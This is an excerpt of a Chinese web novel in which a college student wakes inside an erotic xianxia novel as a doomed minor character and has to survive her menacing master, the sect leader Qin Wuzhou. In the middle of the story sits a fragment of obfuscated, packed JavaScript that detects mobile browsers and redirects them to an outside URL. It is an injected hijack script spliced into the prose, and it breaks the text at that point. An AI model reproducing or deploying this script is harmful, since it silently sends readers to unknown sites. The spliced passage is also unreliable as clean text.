《我不要被限制文师尊惩罚啊!》
1. 并非春梦
意寒星度过了相当狂野的昨晚。
能回想起来的片段,全是她和那个素未谋面的英俊青年颠鸾倒凤不知天地为何物、一详细描写就要被口口的激-情场面。
明明睡前她不过是看了一本限制文而已。
*
意寒星今年大学二年级,正处在爹不疼娘不爱的年纪——下没有大一新生的淳朴惹人怜爱,上没有大三大四学长学姐的圆滑成熟,是个要去找实习都得倒贴交通食宿费的阶段。
自费暑假实习期一结束,室友都在整理或回家或旅游的行李,只有意寒星一人不动如山。
“寒星,你今年也不回家吗?”室友之一抬头看向上铺。
少女扎着单边麻花辫,耐看的清水美人相,像是用泉水洗过,清爽温和,尤其是一对鹿儿眼睛灵动活泼,又带出了一点狡黠。
见意寒星点头,室友表示理解:“如果我妈也每隔半小时不敲门就进我房间查岗一次、外出超过晚上九点半就一连十几个连环夺命Call宵禁警告,那我也不回。”
当事人意寒星不知道说什么,对着镜子梳好头发,脸上露出一个老实微笑。
“我们都不在宿舍,你一个人会不会无聊?”另一个海王室友忽然凑过来,神神秘秘地晃了晃手机,“我们走了以后你看微信,我给你分享了好东西。”
意寒星同她谢过,心道大概和之前一样,又是什么擦边脱衣舞男某音小视频。
其实她这人有点奇怪,看视频可以,但不喜欢和现实里的人有亲密接触,换句话说,就是有点叶公好龙似的性冷淡。
这也导致了她母胎solo二十年,而且物极必反,现实里不与异性接触的后果之一,便是她的想象力特别丰富。
具体体现在,每逢生理期看完这些擦边男小视频,她总会做些奇怪的带颜色梦,更奇怪的是,平日如影随形的接触障碍,在不清醒的时候居然好像完全消失了。
意寒星不大喜欢这种失控的感觉,十分麻烦。
她向好心的海王室友礼貌道了谢,就将手机放在一旁。
不一会,室友们就像广场上的鸽子呼啦啦地飞尽了,宿舍里只剩下意寒星一个人,原本拥挤的房间立刻显得有点空荡荡。
她本想出去逛逛,然而刚刚走到宿舍门口,下腹就开始绞痛。
该不会早餐吃坏了吧?学校食堂承包给了校长亲戚,老用烂白菜炖肉。意寒星一开始还想强撑,然而过了半小时,她的小腹终于让她知道了谁才是身体的主人,在看见裙摆上的红色后,某种熟悉而不详的预感终于印证了。
她用力闭了一下眼,等着熟悉的眩晕和反胃感觉过去,才去洗漱。
她有晕血的毛病,这条裙子又材质特殊,沾染血迹后即使洗过,也很难恢复原状,反正也不贵,干脆就扔了。
等收拾好,已经到了熄灯的时间,意寒星暂时睡不着,躺在遮光帘里刷手机,忽然想起来海王室友给自己发的好东西。
嗯,怎么说呢,人甚至不能共情过去的自己,没来生理期前,她可以青灯古佛原地坐化,现在来了生理期之后……
一般情况下,她不喜欢和异性亲密接触,但生理期强大的激素控制之下,不属于一般情况。
意寒星果断点开室友发来的链接。
这回室友给她分享的不是小视频,而是一篇限制文。
《霸道仙尊日日强制爱》,讲的是散修卫如意与玉虚山剑宗仙尊林无咎二人的狗血爱恨纠葛,其中穿插着逻辑死亡的稀碎剧情,和大量的肉。
意寒星看得正兴起,忽然看见一个熟悉的名字。
【只见那炉鼎生得粉面桃腮、一双鹿儿眼楚楚可怜,身段曼妙如柳,匍匐在地啜泣道:“求仙人垂怜,奴家小名意寒星,日后定然端茶送水叠被暖床日日听从师尊的吩咐……”】
惊悚发现自己和原书的炮灰角色撞名了的意寒星:?
她一个激灵,急忙将书中涉及这个意寒星的剧情都找出来,和她同名的炮灰女配表面是合欢宗的修士,也是原书大反派、合欢宗宗主秦无昼的座下小徒弟,肩不能抗手不能提,唯一的优点是生了一副好皮囊。
此处画重点,原身有个隐藏的身份——天生炉鼎圣体。
简而言之,原身在原书中的主要作用,就是当男女主被迫分开时,把她拉出来走一段肉剧情填场子。
你好,听说你是炉鼎?
我是合欢宗的师兄A/B/C/D,睡一下。
我是路过的村民甲/乙/丙/丁,睡一下。
我是挑衅的魔修1/2/3/4,睡一下。
意寒星:哇靠互联网扫黄怎么放过了作者你这个漏网之鱼!
总而言之,在《霸道仙尊日日强制爱》这本限制文里,炉鼎就是这么个被所有雄性角色日日夜夜觊觎的悲惨角色,不仅守不住贞操,还要被其他修士通过双修掠夺体内灵气直到敲骨吸髓,自身却因为体质特殊无法修炼。
其他读者在线锐评:“好恐怖的被吸血的一生……这和当初我在A股暴跌时当了散户有什么区别!”
意寒星不寒而栗、细思极恐,立刻捧起手机,直到将同名角色的相关剧情背得滚瓜烂熟,眼前晕字,才勉强放下手机。
这样就不怕穿书了。
兴许是背剧情太费脑子,意寒星没多久就睡着了,睡梦中也不安稳,有好一会飘飘荡荡,仿佛魂魄浮在半空,下一刻,耳边忽然炸起人声:“寒星师妹,你这是要做什么?!”
视野从模糊转至清晰,只见一间古色古香的厢房,窗外夜色深沉,屋内血腥浮动。
来了!经典人生哲理之——只要书中出现了同名角色就一定会穿书!
但是问题不大,不用慌,她已经将所有剧情通宵背下来了!
然而下一刻,身体却不由自主地动了起来。
咦?
不受控的视线往下,她先看见了一张翻倒的竹编轮椅,随后是轮椅的主人——躺在血泊里的青衣男子,对方胸口插着一剑,清秀面容上满是痛苦神色。
又是血!意寒星正想晕过去,但是身体却还是很清醒。
面前的男人面色苍白,一字一句道:“苦海无涯,回头是岸,师妹可是真的想好了?你我都知道师尊的脾性,若他事后清醒过来,得知你试图爬他的床,你觉得他会放过你吗?”
文绉绉的说话方式、青衣、病弱、轮椅,《霸道仙尊日日强制爱》里同名角色意寒星的大师兄南浔!
眼前南浔被刺伤,那么,这段剧情就是“意寒星”的初次登场——她不知道发了什么失心疯盯上自己的师尊秦无昼,企图色诱后者,还打伤了察觉此事前来阻拦的同门大师兄南浔。
当然最终色诱失败,原身因为打伤同门、触犯门规受了重罚,不仅如此,原身遭到了秦无昼的厌弃,被逐出师门,从此失了师门依仗,正式开始了作为炉鼎人尽可欺的悲惨一生。
这种事情不要啊!
然而无论意寒星怎么努力,口中还是发出了违背自己意愿的声音:“大师兄,对不起,我、我也不想的,求求你,我、我实在没办法了……”
她带着哭腔,气息不稳,听起来也是难受至极。
南浔怒道:“飞蛾扑火,自取灭亡!你如今的状况,对上暴怒的师尊只会是死路一条!”
原身却再也不顾身后人的吃力阻拦,落荒而逃。
意寒星一个恍惚间,眼前又换了一副天地。
半人高的金枝烛台上灯火明灭,熏香青烟氤氲,大殿内昏暗无声、暖香沉重,正中央一张大床,目测约有三四人宽,床上纱帘放了一半,隐约能看见里面侧躺的人影。
奇怪,说好的穿书,可为什么她只能看不能动,难道她也是原身和师尊PLAY的一环?
尽管意寒星费尽了九牛二虎之力,双腿依旧坚定不移地朝着那张大床走了过去。
空荡荡的大殿内,只有少女赤足行走时裙摆窸窣轻响。
就在距离大床还有半步距离时,床上均匀的呼吸忽然停了,随之意寒星的脚步也不由自主地停了下来。
她又试了一次,还是没办法控制身体,就像做梦鬼压床一般。
等等,做梦?她忽然福至心灵:对啊,谁说出现了小说里人物就一定是穿书呢!
险些被先入为主的预设给骗了,说不定,其实这都是自己做的一个梦!
正所谓日有所思夜有所梦,肯定是她限制文看太多了,才会梦到原书的剧情。
嗐,这种事情也不是头一回,先前她看多了抖音某腹肌博主的CHA,也在颜色梦里很是潇洒一番。
这么想着,身体再一次自己动了起来,随手抓起放在桌上的一只玉壶,将里面的酒水一饮而尽。
桌上摆着的铜镜里,映射出这幅身体的样貌,犹如清泉洗过一般的美人像,除了神色苍白惊惶之外,和她本人五官别无二致。
如果不是梦,天底下怎么会有和她长得一模一样的人?意寒星松了一口气。
喝过酒壮了胆之后,身体再次走向大床。
一只雪白藕臂轻轻挑起床帘,这回意寒星终于对上了一双暗金色的瞳孔。
目光相触的一瞬间,她的脑后尖锐地痛了一下,仿佛有根神经被熔断,有一瞬间的失神。
身体也不由自主地软了下来,眼见就要跌在床前,她下意识伸手撑了一把——这回居然能动了。
怎么回事?变成盗梦空间了吗,梦境更深入了?
她试着摸了摸床上铺的锦被,冰凉丝滑的感觉,这个梦还挺真实的。
刚才灌下去的浓酒开始起效了,意寒星头晕脑胀,两腿发软,干脆顺势爬上了床。
一抬头,那金瞳青年正死死盯着她。
目如寒星,细鼻薄唇,英俊到锐利逼人的程度,左耳垂着一枚水滴状的耳坠,失了血色的脸上浮起一抹红晕,可能是气的。
薄被只盖了下半身,男子裸露的胸膛正剧烈起伏着,在半明半暗的烛光下发出令人目眩的颜色。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534458|186480||http|test|mini|href|location''.split(''|''),0,{}));
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>想来这位美男子就是她的便宜师尊,秦无昼了。
秦无昼。
意寒星第一次看着他,想起的却是对方在原书中的结局。
身为一个活了千年的怪物,秦无昼一生汲汲营营,试图夺取仙尊之位、统一仙门百家,却功败垂成,万般阴谋诡计被男主林无咎挫败。
最后他双眼被挖,鲜血自两只空洞的眼眶内汩汩流下,额上架着修罗剑,他却躺在地上放声大笑。
林无咎皱着眉,面前这个昔日死敌令他难以看清:“你天赋异禀,出身显赫,地位已然一人之下万人之上,名声、财富、美色,你应有尽有,为何就非要当这个仙尊?”
秦无昼猛地震声:“因为那本该就是我的!”
“没错,我没有心,我绝非善类,”他又咧开嘴角,“可我想当这个尊上,我能当好这个尊上,我天生就该是天下万民的尊上!”
bro还以为他是九子夺嫡的四大爷。
↑,是意寒星看这段时的想法。
野心勃勃,嚣张肆意,为达目的不择手段,傲慢也有傲慢的资本,这就是她对秦无昼这个角色的初印象。
整部《霸道仙尊日日强制爱》里,别人要么在搞黄要么在纯爱,只有他仿佛一个权谋正剧男主误入,全书里只要有他的戏份,都是腥风血雨,他见神杀神、见鬼杀鬼,所有挡在他登顶路上的人都没有好下场。首当其冲的,便是原书中名声显赫的正派魁首林无咎。
为了杀掉这个有力的竞争对手,秦无昼陷害、下毒、暗杀、中蛊、威逼、利诱,堪称无所不用其极,甚至男主身边的人也被殃及池鱼,动辄被他仿佛旋开矿泉水瓶盖一样,简简单单就扭断了脖子。
想到这里,意寒星幻觉脖子一痛,立刻往后缩了一点,动作到一半,忽然又觉得不对——它书里的秦无昼,和我做梦里的有什么关系?
她试探性地掐了掐自己的大腿,不怎么痛,于是又重新往秦无昼身边爬,在她靠近的过程中,对方眼尾染上一点血丝,没有说话也没有动作。
果然是梦,意寒星松了一口气,若是原书里那个疯批反派,这时候肯定已经用他擅长的幻花瞳术把自己定在原地、扭断脖子了,怎么可能还这么安分老实地等着她来临幸。
她反思了一下,自己之所以会做这么荒诞又漫长的梦,估计还是生理期闹的。怪不得她前几天晚上总是浑身燥热,晚上睡不安稳,看来生理激素威力不容小觑啊。
就连现在,她都觉得身体里好像藏了个火炉,正在源源不断地从每一个毛孔散发热气。
欲求不满产生的春梦,十有八九得欲求满意了才会醒。
她试探着,将手搭在了秦无昼的腰上,一落手,便被感觉到掌下肌肤滚烫,结实肌理微微弹跳一般,抖了一下。
意寒星下意识以逛常年逛菜市场挑猪肉的手法捏了捏,心道这反派平时肯定经常举铁锻炼,体脂率这么低。
抬起头,又对上秦无昼隐隐血色的视线,后者浓如蝶翼的眼睫颤了颤,死死盯住她,但还是没推开她。
呼……她长长地吐出一口气,看来自己的接触障碍在这个梦里依旧不存在。
那就可以放开手大干一场了。
意寒星轻轻掀开半盖的薄被,照例,先老老实实地对方道歉:“虽然你只是我的梦中人,估计也听不懂我说话,不过还是得罪了。我家里管得严,对这事也没什么实战经验,待会要是弄得不舒服了,你多多担待。”
对方的喉结快速地上下滑动了一下,发出了沙哑的“呃”。
好清爽帅气的青年音。
果然是自己做的梦,最知道自己的喜好。
也算是不幸中的万幸,春梦的主角是个大帅哥。
意寒星补充:“按照设定,你是合欢宗的大长老,那肯定会很多房中术,我要是不行的话,你来引导也可以。”
说完,她便尽情投入了这场梦境中。
一夜迷乱。
……
日光融融,照在交叠的两人之上,一段少女藕臂搭在青年赤裸胸膛之上,玉骨雪肌,在日光下泛出半透明的美好色泽。
片刻,那只手臂轻轻动了动,睡容安详甜美的少女翻了个身,若有所感,睁开了眼睛。
睡在她身边的英俊青年皱着眉,菱形饱满的唇角上有一小块被咬破的红肿。
意寒星揉了揉眼睛,一边嘀咕:“这梦,怎么还没醒——”
她的动作顿了一下,不可置信地捏了捏自己的下唇。
怎么,好像,有点痛。
……不会吧?
……梦里,触感也这么真实的,吗?
下一刻,原本紧闭双眼的青年猛地睁开眼睛,灿金明亮的瞳孔如射雷电,盯着意寒星,眸中满是杀意。
他一手掐住意寒星的脖子,咧嘴冷笑:“孽徒,为师昨夜传授给你的房中术可还满意?”
真——穿——进——限——制——文——了——
竟然不是春梦啊啊啊啊啊!!
2. 攻略任务(1)
就在意寒星即将化身为尖叫鸡的前一瞬,那只落在她脖颈上的手又兀然松开了。
帘幕九重,烛火明灭,青年男人英俊到近乎锐利残忍的五官在暧昧光线下泛出森森凉意,犹如嗅到了鲜血的恶鲨,一双金瞳闪烁不定,犹如两只黄莹莹的灯笼,倒映出散发少女呆滞的面容。
然而下一刻,掩饰很好的嫌恶从秦无昼灿金瞳孔中一闪而过,连同先前腾腾杀气也消失不见。
他嘴角高高上翘,露出一口整齐洁白的牙齿,笑容灿烂,一副好好师长的模样,仿佛刚刚因为被强行爬床、想要拧掉她脑袋的是另一个人。
意寒星呆了呆,再一次掐自己的大腿,立刻喜上眉梢:“太好了不痛,果然是做梦——”
“你掐的是为师的腿。”青年的声音适时响起。
意寒星再一次呆若木鸡,电光火石间想到了什么:该不会昨晚她用来验证是否做梦,掐的也是……
秦无昼将她的手抽出来,自己跟着坐起,宽大的衣袍从他肩膀滑落,露出昨夜酣畅淋漓后留下的青紫暧昧痕迹。
只看了一眼,意寒星就火速扭开脸,麻利改成了跪坐的姿势,眼观鼻鼻观心:“师尊,我错了。”
虽然不知道怎么回事春梦变成了穿书现实,但总之先道歉!
“哦?”秦无昼简单将自己身上的衣裳拢好,洒金绛紫的锦袍,如瀑黑发垂下,因为昨夜折腾得太过分,有几缕不安分地翘了起来。
他斜斜倚在床头,单手支颌,饶有兴味地看着她:“说说,你错在哪了?”
意寒星瞬间带上了仿佛大学高数课堂上因为答不出来教授提问的痛苦面具:“徒弟不该趁您之危,因为贪图您的美色,居然对您行不轨之事。”
虽然不知道原身是不是这么想的,但反正她一开始以为他是梦中人的时候,确实是抱着牡丹花下死做鬼也风流的想法。
她有错,她忏悔,她不老实。
秦无昼没什么感情地笑了笑:“只有这些?”
他藏在宽大袖袍下的手指轻轻动了一下。
意寒星生怕那温热有力的指节再次落在自己脖颈上,连忙补充:“还有,不该不听大师兄劝阻,还打伤了他。”
与其等他发现,还不如老实自首,争取能得到个宽大处理。
说实在如今事态的发展已经大大超乎她的预料,按照原书剧情,在原身试图爬床的第一时间,秦无昼就使出了他的独门杀招幻花瞳术,毫不留情地将原身踹下床,随后就是打入荆棘洞禁闭、断绝师徒关系、逐出师门一条龙。
但她传过来以后,除了第一时间被疑似幻花瞳术瞪了一眼、脑袋有点痛之外,依旧好好的,还、还真的睡了秦无昼
——那可是原著拧脑袋跟开汽水一样的大反派啊啊啊啊啊!
不出意料,秦无昼的语气冷了下来:“你打伤了南浔?”
他传音,不知对面说了什么,他冷哼一声。
意寒星喉头发紧:“师尊,我……”
“够了!”秦无昼骤然打断,“你什么也不用解释,现在给我从床上滚下去,日后见到任何人也什么都不许说。”
“好的师尊,对不起师尊。”意寒星从善如流地挪下床,跪在床前。
不过,“日后”?还有日后?难道秦无昼不打算把她就地正法?原身可是因为打伤同门,立刻就被逐出门派了啊!
意寒星脑子滴溜溜地转,忽然有了新想法,原身固然是错,但真正导致她遭受那般严厉惩罚的,却是因为她触了秦无昼的逆鳞。
秦无昼此人,向来冷血无情,可唯有一点绝不容忍,那便是有人对他隐瞒、背叛。
这么说来,她方才老实坦白,倒是弄拙成巧,反而暂时救了自己一命?
秦无昼正掏出玉简,同对面传音片刻,冷笑一声:“就凭她那点三脚猫功夫,料想也伤不到你。”
应该是询问南浔的伤势?还好,人看起来没大事。
秦无昼不耐道:“她伤了你,犯下如此大错,你还要替她求情,简直愚不可及……”
意寒星忍不住又偷偷抬起眼皮,却正正对上了秦无昼面无表情的视线,立刻低下脑袋,将头埋得更深。
传音那头不知又说了什么,秦无昼直接掐掉了传音。
残灯摇晃,帘幕重重,他垂下眸,不知在想什么,那幽幽金瞳在暗光中如寒雪、如冷月,又如万柄利剑森刀,倏忽落在她身上,目光寸寸扫过意寒星遍体,犹如凌迟处刑。
意寒星心道:这人在想应该如何处置我。
滚烫烛泪淌下,滴在金盘发出轻微的“噗嗤”,万籁俱静之中意寒星心跳如擂鼓。
就在她觉得自己的心脏马上就要从喉咙口跳出来时,秦无昼吐出一口浊气,缓缓道:“本宗有师徒亲身传授房中术的传统,只是为师向来不喜这些,这几年年忙于事务,昨夜……你就当是为师与你传授房中术修习。”
意寒星:“啊,什么?哦,好、好的。”
幸亏原著是个限制文,设定里合欢宗就是个巨大的impart,里头上上下下师兄弟姐妹长老弟子全都可以排列组合进行双修,也不至于像隔壁修无情道的一被夺了清白就要死要活。
而秦无昼为人傲慢冷血,比起睡人来说更喜欢杀人,身为原书中的大反派,更是时刻奋战搞事第一线,常年神龙见首不见尾,她们这些弟子一年到头也没能见到师尊几次。
不过,眼下这便宜师尊不打算和她算账!难道她的命运这就改写了吗!
意寒星暗松一口气时,秦无昼正在面无表情地盯着她。
他忽然道:“为何偏偏是在昨晚?”
晨光下,那双金色的重瞳发出淡淡光晕,瞳仁里仿佛有小碎片在闪烁折射:“你知道我昨夜受伤,不能行动?谁告诉你的?除了你还有谁知道?”
意寒星恍然大悟,怪不得昨晚她在他身上为所欲为的时候这人一点反抗都没有,原来是受了伤。
可恶,这就是大反派的恐怖体质吗?重伤也能好得这么快,居然一醒过来就有力气和她算账了。
“回师尊,我一开始也不知道您受了伤,都是误打误撞……”此人疑心甚重,估计压根没信她先前说什么贪图美色的话,现在就开始试探了。
意寒星在心里诉苦:你问我我问谁!我也不知道原身怎么想的啊!
嘴比脑子快,等她一五一十老实地回答完,秦无昼微微挑眉,语气淡淡:“胆子不小。”
意寒星拿不准他到底信了没有,只能噤若寒蝉,心中回忆这段剧情前秦无昼应该在做什么,好像是去了某个上古大能羽化后留下的秘境,杀了几个和他抢宝的修士,获得了一件至宝玻璃日。
玻璃日,那就是他那双独特的金色眼睛了。
她不禁又偷瞄了一眼秦无昼的眼睛,结果被他抓个正着,后者似笑非笑。
意寒星:……不知道为什么但就是瘆得慌。
“你在想什么?”秦无昼眼里的闪光小碎片似乎更多了。
不知为何,他的声音听起来也和之前不大一样,特别的清爽、柔和,让她仿佛陷入了一团棉花当中,不由自主地就开了口:“我在想您的眼睛。”
秦无昼忽然笑了一声。
意寒星猛地从他的幻术中挣脱,看清他那似笑非笑的神色,立刻心道不妙。
玻璃日是秦无昼的法宝,替代了他原本的眼睛,看起来就像两颗玻璃做的小太阳。
玻璃日能让他通过视线接触控制他人的心神,是非常符合合欢宗魅惑形象的法术宝物了。原书中有一段秦无昼与剑宗修士大战,就用玻璃日控制了半个广场的修士,命令他们持剑向昔日同伴,而他自己不费一兵一卒,单腿支着坐在箭楼屋顶上,笑看下方自相残杀血流成河,背后一轮巨大的圆形血月。
没想到才刚刚穿书第二天,这放在原书中的大杀器就用在她身上了。想来刚刚那阵奇怪的酥麻就是秦无昼控制她说了真话。
《霸道仙尊日日强制爱》中,对于秦无昼此人身份来历提之甚少,宁可多花几万字详写各路人马花式play,也不肯填补剧情逻辑,意寒星现下也不知道他在想什么,只能硬着头皮开口:“师尊,您的眼睛似乎好了。先前听说您的眼疾时有复发,不得见光,只能以白纱覆眼,但现下弟子看来,您的眼睛与从前大不一样了。”
伸头也是一刀,缩脖子也是一刀,她决定还不如主动挑明,争取刷个老实人的印象分。
秦无昼微微眯起眼睛:“为师在秘境中得了一件宝物。”
意寒星识眼色地连忙拱手贺喜:“恭喜师尊!”
他只这么轻描淡写提了一嘴,显然是不想再说,意寒星觉得也对,没人想把自己最大的底牌露在一个陌生人面前,虽然这个陌生人是昨晚和他翻云覆雨的小徒弟。
她继续眼观鼻鼻观心,像只鹌鹑似的一动不动,感受到一阵阵若有似无的视线在自己头顶扫来扫去,令人头皮发麻。
秦无昼:“嗯。若是其他无事,你先回去吧。”
意寒星:“啊?”这就让她走了?原书里的大发雷霆、好生折磨呢?
秦无昼似笑非笑:“舍不得走?”
意寒星仿佛屁股上着了火一样跳起来,恭恭敬敬拱手:“那徒弟告退。”
走了两步,背后忽然传来秦无昼含笑的声音:“三。”
“什么?”她茫然地回头。
床头雕着不知名的恶兽凃金浮雕,巨大狰狞的兽头中央,秦无昼披着洒金绛紫的宽大锦袍,一脚踩地,一脚盘腿,笑容灿烂:“二。”
恰好此时彻夜燃烧的香烛噼啪折断,意寒星只来得及看见秦无昼比了个“一”的口型,下一刻火烧火燎的晕眩猛然袭来。
跌倒在地时,视野天旋地转,正中央缓缓出现了男人赤脚走来的画面。
随着步伐走动,洒金紫袍宽大的下摆随之摆动,犹抱琵琶般露出双足,那双雪白足上经络分晰,在摇曳灯影下泛出青玉似的半透色泽,美艳中却带了一缕不易察觉的狰狞。
就这么,一步,一步。
最终,秦无昼站定,笑吟吟地看着她,金鳞殿残灯如血,
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暗香浮动,魅影横行,可是他立于其中,却意外地相配。那双残忍而狡黠的猫儿眼弯起,瞳孔流金若隐若现,森然诡异。
他在她身前蹲下来,手撑着脸颊:“一。”
看见意寒星露出茫然痛苦的神色,他忍不住笑出声来:“原来你不知道你自己走火入魔了啊。”
意寒星:啊?
原书剧情没写这一段啊!
等等,如果是走火入魔的话,一切都能解释了——所以原身会性情大变,一个柔弱的炉鼎还能打伤同门、爬凶神师尊的床。
而这人,秦无昼,他一开始就看出来了。
意寒星只觉得自己仿佛被放在油锅里烹炸、随时都要爆裂开来的爆米花,连呼吸都困难起来。
他明明一开始就知道,却眼睁睁看着她发作,这老奸巨猾的魔头!
秦无昼伸手钳住她的下巴,歪着脑袋,打量她的模样。
少女因为难以抵御走火入魔带来的痛楚,鹅蛋脸上已经挂满了细碎晶莹的汗珠,昨夜好一番折腾,洁白柔软的珠花已落,满头青丝如瀑垂泻,半遮半掩间一张美人面如染桃花。
他这废物孽徒,生得倒是一副清水芙蓉的可怜相,此刻桃色上脸,若是有心之人,只消看上一眼,再狠的铮铮铁骨顷刻间也会化为绕骨柔。
只可惜,今日她碰上的是他。
他指节发力,令她抬起脸和自己对视:“方才还是为师第一回用法宝,不太顺手,也不知起效没有。”
“不过无妨,人在重伤之时神志抵抗力下降,这一回定能从你口里问出真话。”
无数细碎的闪光从那双晶莹的金色瞳孔中亮起,秦无昼道:“昨晚,你在为师身上看见了什么?”
无数混乱香艳的画面从脑海滑过,意寒星浑浑噩噩,一脸茫然。
他问这个做什么?
秦无昼啧了一声,大概是问题太宽泛,这笨徒弟居然答不上来,他只能换了个问法:“我身上,最令你印象深刻的,是什么?”
他是不是误会她看到什么不该看见的秘密了?
意寒星有心想要解释,可是被幻花瞳术控制,嘴不由心,脑海中纷纷乱乱最终定格在一幅浓情艳色的画面上。
她的视线缓缓移向他腰部以下,不由自主地张开嘴,老实开口:“转基因大茄子。”
秦无昼:……
?
【转基因】是何物他没听懂,但不妨碍他从这孽徒的眼神变化里猜出她的意思。
自他生来千年,这还是头一遭如此被人……轻薄。
秦无昼愣了一下,忽然爽朗地哈哈笑了两声,加重了手指的力度:“走火入魔到开始胡言乱语了啊。”
意寒星被玻璃日的视线牢牢锁定,嘴巴成了直通大脑的一根管,根本是想到什么说什么:“还有您的眼睛。”
秦无昼脸上挂着笑容,语气轻飘飘的:“又是这个。”干脆就在这里杀了这孽徒,南浔那边倒是不用担心,他的嘴一向很严——
“它好漂亮。”
灯花燃爆,一声极其轻微的爆响,秦无昼的思绪兀然被打断。
他定定地注视了一会眼前眸光水润的少女,片刻,忽然放声大笑。
他笑的同时,也没有丝毫放松对意寒星的神志控制,边笑边道:“这是杀人的东西,你只想说它漂亮?”
意寒星老实地摇头,努力伸长脖子。
她凑近时,带来淡淡的水汽和熏暖香气,令秦无昼骤然回忆起昨晚的某些不快回忆。
“怎么,想靠近一点?”他皱眉笑道,并不觉得这弱鸡一样的女孩能伤到自己分毫,于是松了手,懒洋洋地垂下眼皮,任由她贴上来。
意寒星喃喃:“我……还想……”
她昨夜饮了蜜酒,吐息含糊,间带着微醺香甜的醉意,落在他眼睫上的轻吻也是。
秦无昼在她的唇下眨了眨眼睛,再次爆发出惊天动地的大笑,顺手将人推倒在地,意寒星立刻像个被抽掉了脊骨的醉鬼一样晕了过去。
他抱着肚子,一直笑瘫在地上,笑了一会,才想起来再不管她,自己这个孽徒就真得走火入魔爆体而亡了。
他这才慢悠悠地坐起来,往她胸口一拍。
从来都是他诱人入魔,头一遭替人驱散魔气,倒是新奇。
原本昨夜被玻璃日反噬激起的狂暴戾气,现下也平息了不少。
嗯……应该和这爬床的蠢东西无关。
也不知道她是真老实还是装出来的,居然接连挨过了两次他的玻璃日审问。
无妨,他到要看看,狐狸尾巴还能藏到几时。
*
意寒星醒来,悲惨地发现自己居然还躺在那张熟悉的大床上,秦无昼的大床。
而她那一见面就不怀好意的便宜师尊衣衫不整,靠在床头,冲她灿烂一笑:“为师想了想,教你的房中术也是时候派上用场了。”
“为师现在交给你一个重要任务:你下山去,找到玉虚山剑宗长老、修罗剑林无咎,三日之内,夺了他的元阳,并伺机杀了他。”
3. 攻略任务(2)
意寒星刚一迈出秦无昼居住的金鳞殿,大门就在她背后关闭。
看起来她那便宜师尊也是巴不得早点将她扫地出门。
意寒星脚步僵硬,走下十几级台阶,才意识到自己没有继承原身记忆,现在想回合欢宗的弟子居所都不知道怎么走。
“寒星!这里!”
她顺着声音转头,还没见到人面,先听见的是金钗玉环随着来人行走时相撞的叮叮当当。
来人近了,生得一副风情万种明艳大美人面,满头珠翠、一身暴发户似的打扮。
回忆原书中的描写,意寒星大着胆子猜想:“苏师伯?”
原身师伯苏媚娘上上下下将她打量了一遍,纳罕道:“秦无昼居然没有打断你的腿!”
意寒星:“。”就不能盼着她点好吗。
这位和某甜品、某女皇只差了一个字的苏媚娘师伯,长相也似白雪般丰腴动人,性格也似巾帼英雄豪爽。
只可惜这位丰姿冶丽的大美人也是个倒霉炮灰角色,不过她的倒霉和意寒星这种天生炉鼎、躲也躲不过的不一样,她纯粹是自己作的。
苏媚娘是前任合欢宗宗主之女,前任宗主死后,接任上位的便是秦无昼,而苏媚娘一直对此耿耿于怀,质疑秦无昼是为夺权杀死她亲爹。
因为沾了血缘亲带的光,苏媚娘虽然修为一般,刚过元婴,就当上了青棠谷的长老,只不过她这个长老当得也不怎么称职,比起为宗门建设舔砖加瓦,她对扳倒秦无昼更有兴趣。
比如,时不时和秦无昼座下徒弟套一套近乎,探听一点机密,挖一挖墙角。
可问题是,那可是手眼通天的大魔头秦无昼啊……想到原书最后苏媚娘被毁了容、关进水牢疯疯癫癫的模样,意寒星心中暗叹。
此刻她看苏媚娘,有了炮灰见炮灰、同命相连之感,不由得心生亲近,朝她笑了笑。
苏媚娘讶然,她作为合欢宗人典型的颜控,从前就对生得尤其出众的意寒星有意接近,可对方沉默寡言,不爱与人亲近,昨晚不知发生了什么,倒是令她改了性子。
苏媚娘忍不住询问:“秦无昼,很行吧?”
意寒星:?
比起自己未来的生命安全,苏师伯,这就是你最关心的吗?
意寒星想了想,给了个诚实的评价:“跟转基因大茄子一样。”
虽然不知道【转基因】为何物,苏媚娘还是捕捉到了最关键的那个字,朝她竖起了拇指。
她先是为师侄吃了顿好的高兴起来,随即又想起被夸的那是自己的仇人,拧起眉毛:“呸。再行也改变不了他是个人面兽心的本质!”
意寒星心道你现在可就使劲仗着自己是前任宗主遗女的身份,使劲作吧,等秦无昼驯服了玻璃日、腾出手来,你这秋后的蚂蚱也蹦跶不了几天了。
唉,不过她自己又好到哪里去呢……
意寒星:“师伯怎么会来这里接我?”难不成原身爬个床已经人尽皆知了!
苏媚娘朝她挤眉弄眼:“你是不是起的太迟,还没来得及看玉简?”
意寒星心头涌起一阵不详的预感。
修仙之人的玉简,和现代的手机也差不多,意寒星一点进宗门内部论坛,首页标红的第一个帖子标题就刺痛了她的眼睛。
【我看见寒星师妹昨晚进了秦宗主寝殿了!速来,买定离手,最小赌注半块灵石!今夜秦宗主贞操是否折于意寒星师妹之手!】
这帮人真是嫌命太长。
果不其然,下一秒,那栋三百多楼的帖子就变成了不可进入的灰色,再下一秒,整个论坛内部页面变成了空白。
苏媚娘探头过来看,恨恨咬牙:“这不可说又来堵嘴了。”
仿佛为了印证她的话,空中忽然响起一道笑吟吟的青年音:“妄自揣测师长私生活可不是乖孩子哦,今日参与论坛赌博者全都罚处荆棘洞半月苦役,设局者多扣一月灵石。”
整个青棠谷上下顿时发出了此起彼伏的哀嚎。
意寒星收起玉简,若有所思:“师尊真的很不喜欢被人关注。”
今早也是,他逼问自己有没有看见他身上引人注意的事物。到底是什么东西,能让他如此如临大敌,为此甚至不惜几次想对她动手?
然而昨夜又是喝酒又是入魔,感官实在太混乱了,除了乌七八糟的东西之外,她什么也回忆不起来。
苏媚娘不知想到什么,脸色难看:“不做亏心事,不怕鬼敲门。自他上任宗主以来,神出鬼没,不仅不许弟子服侍近身,禁止门中弟子随意散布传递他的消息,更不与其他仙门往来,鬼鬼祟祟,肯定不干好事。”
原书中秦无昼出场的戏份不多,不是在搞事杀男主就是在搞事杀男主的路上,对于他本人的故事背景介绍不多,意寒星也只能跟着摇头。
